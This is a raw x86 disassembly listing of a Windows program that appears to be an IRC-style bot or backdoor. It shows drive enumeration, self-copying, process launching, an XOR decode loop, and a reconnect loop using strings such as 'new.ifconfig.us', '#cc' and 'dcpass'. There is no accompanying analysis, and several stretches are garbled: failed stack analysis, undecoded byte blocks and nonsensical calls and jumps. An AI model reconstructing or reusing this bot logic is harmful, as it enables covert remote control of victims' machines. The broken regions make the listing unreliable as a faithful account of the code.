		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_41D658
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	ds:dbl_41D658
		fstp	[esp+590h+var_590]
		push	offset unk_4240E0
		push	eax
		call	sub_411963
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40933E
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40F466
		add	esp, 14h


loc_40933E:				; CODE XREF: sub_40902A+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_408CFE
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_409503
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_431E04
		cmp	[ebp+var_30], esi
		jnz	loc_409503
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_4240A8
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40F466
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_408CFE
		add	esp, 24h
		jmp	loc_409503
; ---------------------------------------------------------------------------


loc_4093BE:				; CODE XREF: sub_40902A+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_41D658
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	ds:dbl_41D658
		fstp	[esp+590h+var_590]
		push	offset unk_424054
		push	eax
		call	sub_411963
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_409426
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40F466
		add	esp, 14h


loc_409426:				; CODE XREF: sub_40902A+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_408CFE
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_4119E0
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_4119E0
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_430AD0
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	near ptr 0A70000h
		mov	esi, 1275C73Bh
		call	ds:dword_431DF0
		call	loc_407BD0
		push	esi
		call	ds:dword_41D104	; ExitProcess
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_424008
		jmp	short loc_4094C2
; ---------------------------------------------------------------------------


loc_4094B6:				; CODE XREF: sub_40902A+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_423FC8


loc_4094C2:				; CODE XREF: sub_40902A+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4094F6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40F466
		add	esp, 14h


loc_4094F6:				; CODE XREF: sub_40902A+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_408CFE
		pop	ecx


loc_409503:				; CODE XREF: sub_40902A+29Cj
					; sub_40902A+325j ...
		push	[ebp+var_18]
		call	ds:dword_431EC4
		push	[ebp+var_48]
		call	sub_41172B
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_40951B:				; CODE XREF: sub_40902A+11Ep
		fisttp	word ptr [ebx+33042444h]
sub_40902A	endp ; sp-analysis failed

		leave
		cmp	[esp+8], ecx
		jle	short locret_409538


loc_409528:				; CODE XREF: seg000:00409536j
		mov	dl, ds:byte_42437C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+8]
		jl	short loc_409528

locret_409538:				; CODE XREF: seg000:00409526j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409539	proc near		; CODE XREF: seg000:0040C3BAp
					; seg000:0040C519p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4138EF
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409553	proc near		; CODE XREF: seg000:00404FB0p
					; seg000:0040514Cp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_436260
		push	0
		push	edi
		call	sub_4119E0
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_409578:				; CODE XREF: sub_409553+5Bj
					; sub_409553+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_413550
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4135D0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4095B6
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_409578
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_409578
; ---------------------------------------------------------------------------


loc_4095B6:				; CODE XREF: sub_409553+4Bj
		dec	esi
		mov	eax, edi


loc_4095B9:				; CODE XREF: sub_409553+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_4095C8
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_4095B9
; ---------------------------------------------------------------------------


loc_4095C8:				; CODE XREF: sub_409553+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409553	endp


; =============== S U B	R O U T	I N E =======================================



sub_4095D2	proc near		; CODE XREF: sub_40977E+51p
					; sub_40977E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_431EF0
		sub	eax, 0
		jz	short loc_409615
		dec	eax
		jz	short loc_40960F
		dec	eax
		dec	eax
		jz	short loc_409609
		dec	eax
		jz	short loc_409603
		dec	eax
		jz	short loc_4095FD
		dec	eax
		jz	short loc_4095F7
		mov	eax, offset word_423E54
		retn
; ---------------------------------------------------------------------------


loc_4095F7:				; CODE XREF: sub_4095D2+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_4095D2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_409603:				; CODE XREF: sub_4095D2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_409609:				; CODE XREF: sub_4095D2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40960F:				; CODE XREF: sub_4095D2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_409615:				; CODE XREF: sub_4095D2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4095D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40961B	proc near		; CODE XREF: sub_409663+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_431D8C
		test	eax, eax
		jz	short loc_409650
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax ; dword_431D8C


loc_409650:				; CODE XREF: sub_40961B+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40961B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409663	proc near		; CODE XREF: sub_40888C+1F3p
					; sub_40977E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40961B
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40973B
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40973B
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40973B
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_413940
		push	edx
		push	eax
		call	sub_409553
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_413940
		push	edx
		push	eax
		call	sub_409553
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_413940
		push	edx
		push	eax
		call	sub_409553
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 18h
		pop	ebx
		jmp	short loc_40976A
; ---------------------------------------------------------------------------


loc_40973B:				; CODE XREF: sub_409663+2Cj
					; sub_409663+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_411963
		add	esp, 18h


loc_40976A:				; CODE XREF: sub_409663+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_409663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40977E	proc near		; CODE XREF: sub_409850+17p
					; sub_409850+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_409663
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_411D80
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4097F1
		push	ebx
		push	ebx
		call	sub_4095D2
		pop	ecx
		push	eax
		push	offset dword_424308
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 14h
		jmp	short loc_409825
; ---------------------------------------------------------------------------


loc_4097F1:				; CODE XREF: sub_40977E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4095D2
		pop	ecx
		push	eax
		push	offset dword_4242B8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 20h


loc_409825:				; CODE XREF: sub_40977E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_408CFE
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40977E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409850	proc near		; CODE XREF: seg000:0040EA5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_409871
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40977E
		add	esp, 10h
		jmp	short loc_4098D2
; ---------------------------------------------------------------------------


loc_409871:				; CODE XREF: sub_409850+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_431E00
		lea	esi, [eax+2]
		push	esi
		call	sub_41205F
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_431E00
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4098C9


loc_409895:				; CODE XREF: sub_409850+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4098B8
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40977E
		add	esp, 10h


loc_4098B8:				; CODE XREF: sub_409850+54j
		push	esi
		call	sub_411FB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_409895


loc_4098C9:				; CODE XREF: sub_409850+43j
		push	edi
		call	sub_4120D3
		pop	ecx
		pop	edi
		pop	esi


loc_4098D2:				; CODE XREF: sub_409850+1Fj
		pop	ebx
		pop	ebp
		retn
sub_409850	endp

; ---------------------------------------------------------------------------


loc_4098D5:				; DATA XREF: seg000:004099CEo
		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch	; CODE XREF: seg000:0040994Ej
		push	ebx
		push	esi
		push	edi
		push	ds:dword_43702C
		call	ds:dword_431F28
		call	sub_4115D8
		call	ds:dword_431DF0
		call	ds:dword_431DF0
		mov	ebx, ds:dword_41D050
		push	64h
		call	ebx ; dword_41D050
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_4119E0
		push	44h
		lea	eax, [ebp-54h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_4119E0
		add	esp, 18h
		mov	[ebp-54h], esi
		mov	esi, 104h
		lea	eax, [ebp-25Ch]
		push	esi
		push	eax
		mov	dword ptr [ebp-48h], offset byte_430AD0
		mov	dword ptr [ebp-28h], 1
		mov	[ebp-24h], di
		call	near ptr 0A70000h
		jns	short near ptr loc_4098D8+5
		test	[eax+56FFFFFEh], ebp
		push	eax
		push	edi
		call	near ptr 0A70000h
		mov	eax, ds:50F0458Dh
		lea	eax, [ebp-54h]
		push	eax
		lea	eax, [ebp-25Ch]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp-158h]
		push	edi
		push	eax
		push	edi
		call	near ptr 0A70000h
		dec	edx
		test	eax, eax
		jz	short loc_40999A
		push	64h
		call	ebx ; dword_41D050
		push	dword ptr [ebp-10h]
		mov	esi, ds:dword_41D068
		call	esi ; dword_41D068
		push	dword ptr [ebp-0Ch]
		call	esi ; dword_41D068


loc_40999A:				; CODE XREF: seg000:00409984j
		mov	eax, [ebp+10h]
		mov	dword ptr [eax+0B0h], offset dword_436298
		mov	eax, [esp]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_41D104	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset loc_4098D5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	ds:dword_424370, ebx
		jz	short loc_4099F3
		call	sub_407D58


loc_4099F3:				; CODE XREF: seg000:004099ECj
		mov	esi, ds:dword_41D044
		call	esi ; dword_41D044
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_460310, eax
		call	esi ; dword_41D044
		push	eax
		call	sub_4119B5
		pop	ecx
		call	sub_4067AD
		push	2
		call	ds:dword_431F3C
		push	7530h
		push	offset aIds443vbq ; "ids443vbq"
		push	ebx
		push	ebx
		call	near ptr 0A70000h
		push	ds
		push	eax
		call	near ptr 0A70000h
		push	es
		cmp	eax, 102h
		jnz	short loc_409A47
		push	1
		call	ds:dword_41D104	; ExitProcess


loc_409A47:				; CODE XREF: seg000:00409A3Dj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	ds:dword_431E08
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_409EA7
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_409EA1
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_409EA1
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 0A70000h
		movsd
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 0A70000h
		mov	bh, 50h
		call	near ptr 0A70000h
		lea	ecx, [ebp-4EF7Bh]
		call	dword ptr [eax-73h]
		test	[ecx+edi*8], ecx
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
		dd 14858D53h, 53FFFFFDh, 9B72E850h, 858D0000h, 0FFFFFB10h
		dd 0C858D50h, 50FFFFF9h, 4209C068h, 0C858D00h, 56FFFFFAh
		dd 83F4E850h, 858D0000h, 0FFFFFC10h, 14858D50h,	50FFFFFDh
		dd 8437E8h, 30C48300h, 850FC085h, 1A6h,	4801D39h, 0E0BE0046h
		dd 74004243h, 0FF335631h, 8497E8h, 4E88300h
		db 59h,	74h, 23h
; ---------------------------------------------------------------------------


loc_409B1F:				; CODE XREF: seg000:00409B40j
		call	sub_4119BF
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	ds:byte_4243E0[edi], dl
		inc	edi
		call	sub_411FB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_409B1F
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_42B368
		push	eax
		call	sub_411963
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	ds:dword_41D074	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409B82
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
; ---------------------------------------------------------------------------
		dd 66647FE8h
		db 0, 54h
; ---------------------------------------------------------------------------


loc_409B82:				; CODE XREF: seg000:00409B6Ej
		mov	esi, ds:dword_41D114
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_409B99:				; CODE XREF: seg000:00409BD0j
		call	esi ; dword_41D114
		test	eax, eax
		jnz	short loc_409BD2
		call	ds:dword_41D060	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_409BD2
		cmp	eax, 20h
		jz	short loc_409BB3
		cmp	eax, 5
		jnz	short loc_409BD2


loc_409BB3:				; CODE XREF: seg000:00409BACj
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_41D050	; Sleep
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_409B99
; ---------------------------------------------------------------------------


loc_409BD2:				; CODE XREF: seg000:00409B9Dj
					; seg000:00409BA7j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_407B0A
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 0A70000h
		mov	dword ptr [edx+10h], 53E4458Dh
		push	eax
		call	sub_4119E0
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_4119E0
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_430AD0
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		call	near ptr 0A70000h
		xor	[eax+56h], edx
		push	100000h
		call	near ptr 0A70000h
		add	[ebp-2EB73h], ecx
		call	dword ptr [ecx+50h]
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_42B35C
		push	eax
		call	sub_411963
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 0A70000h
		push	esp
		test	eax, eax
		jz	short loc_409CAA
		push	0C8h
		call	ds:dword_41D050	; Sleep
		push	dword ptr [ebp-1Ch]
		mov	esi, ds:dword_41D068
		call	esi ; dword_41D068
		push	dword ptr [ebp-18h]
		call	esi ; dword_41D068
		call	ds:dword_431DF0
		push	ebx
		call	ds:dword_41D104	; ExitProcess


loc_409CAA:				; CODE XREF: seg000:00409C80j
		cmp	ds:dword_460FA8, 2
		jle	short near ptr loc_409CF5+1
		mov	eax, ds:dword_460FAC
		push	dword ptr [eax+4]
		call	sub_411ECF
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 0A70000h
		in	eax, 56h
		call	ds:dword_41D068	; CloseHandle
		mov	eax, ds:dword_460FAC
		cmp	[eax+8], ebx
		jz	short near ptr loc_409CF5+1
		push	7D0h
		call	ds:dword_41D050	; Sleep
		mov	eax, ds:dword_460FAC
		push	dword ptr [eax+8]
		call	near ptr 0A70000h


loc_409CF5:				; CODE XREF: seg000:00409CB1j
					; seg000:00409CDBj
		jmp	far ptr	42h:43781D39h
; ---------------------------------------------------------------------------
		jz	short loc_409D13
		cmp	ds:dword_431F60, ebx
		jnz	short loc_409D13
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_408F0D
		pop	ecx


loc_409D13:				; CODE XREF: seg000:00409CFCj
					; seg000:00409D04j
		lea	eax, [ebp-0E4h]
		push	offset dword_42B330
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_41140F
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_408CFE
		push	0B80h
		push	ebx
		push	offset dword_4362A0
		call	sub_4119E0
		call	sub_4119BF
		push	7Fh
		push	offset aNew_ifconfig_u ; "new.ifconfig.us"
		push	offset dword_46031C
		mov	ds:dword_460494, ebx
		call	sub_413150
		mov	eax, ds:dword_42435C
		push	3Fh
		mov	edi, offset dword_46039C
		push	offset aCc	; "#cc"
		push	edi
		mov	ds:dword_46046C, eax
		call	sub_413150
		push	3Fh
		mov	esi, offset dword_4603DC
		push	offset aDcpass	; "dcpass"
		push	esi
		call	sub_413150
		add	esp, 48h
		mov	ds:dword_460470, ebx


loc_409DA1:				; CODE XREF: seg000:00409E47j
					; seg000:00409E52j ...
		mov	[ebp-4], ebx


loc_409DA4:				; CODE XREF: seg000:00409DFBj
		cmp	ds:dword_431F78, ebx
		jnz	short loc_409DC2
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	ds:dword_431DD4
		test	eax, eax
		jnz	short loc_409DC2
		push	7530h
		jmp	short loc_409DEE
; ---------------------------------------------------------------------------


loc_409DC2:				; CODE XREF: seg000:00409DAAj
					; seg000:00409DB9j
		push	offset dword_460318
		mov	ds:dword_460490, ebx
		call	sub_409EB0
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_409E9C
		cmp	ds:dword_460490, ebx
		jz	short loc_409DE9
		dec	dword ptr [ebp-4]


loc_409DE9:				; CODE XREF: seg000:00409DE4j
		push	0BB8h


loc_409DEE:				; CODE XREF: seg000:00409DC0j
		call	ds:dword_41D050	; Sleep
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_409DA4
		cmp	dword ptr [ebp-8], 2
		jz	loc_409E9C
		cmp	[ebp-0Ch], ebx
		jz	short loc_409E4C
		push	7Fh
		push	offset aNew_ifconfig_u ; "new.ifconfig.us"
		push	offset dword_46031C
		call	sub_413150
		mov	eax, ds:dword_42435C
		push	3Fh
		push	offset aCc	; "#cc"
		push	edi
		mov	ds:dword_46046C, eax
		call	sub_413150
		push	3Fh
		push	offset aDcpass	; "dcpass"
		push	esi
		call	sub_413150
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_409DA1
; ---------------------------------------------------------------------------


loc_409E4C:				; CODE XREF: seg000:00409E0Aj
		cmp	ds:byte_4243C4,	bl
		jz	loc_409DA1
		push	7Fh
		push	offset byte_4243C4
		push	offset dword_46031C
		call	sub_413150
		mov	eax, ds:dword_424360
		push	3Fh
		push	offset dword_4243D4
		push	edi
		mov	ds:dword_46046C, eax
		call	sub_413150
		push	3Fh
		push	offset aDcpass_0 ; "dcpass"
		push	esi
		call	sub_413150
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_409DA1
; ---------------------------------------------------------------------------


loc_409E9C:				; CODE XREF: seg000:00409DD8j
					; seg000:00409E01j
		call	sub_4115D8


loc_409EA1:				; CODE XREF: seg000:00409A6Bj
					; seg000:00409A7Bj
		call	ds:dword_431DF0


loc_409EA7:				; CODE XREF: seg000:00409A5Ej
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409EB0	proc near		; CODE XREF: seg000:00409DCDp
					; DATA XREF: seg000:0040D45Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_409ED5:				; CODE XREF: sub_409EB0+E6j
					; sub_409EB0+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_431E90
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_407E16
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40A002
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_4119E0
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_460484
		push	ds:dword_424384
		push	eax
		call	sub_410B4D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_437038
		push	edi
		push	eax
		call	sub_413150
		add	esp, 28h
		push	6
		push	1
		push	2
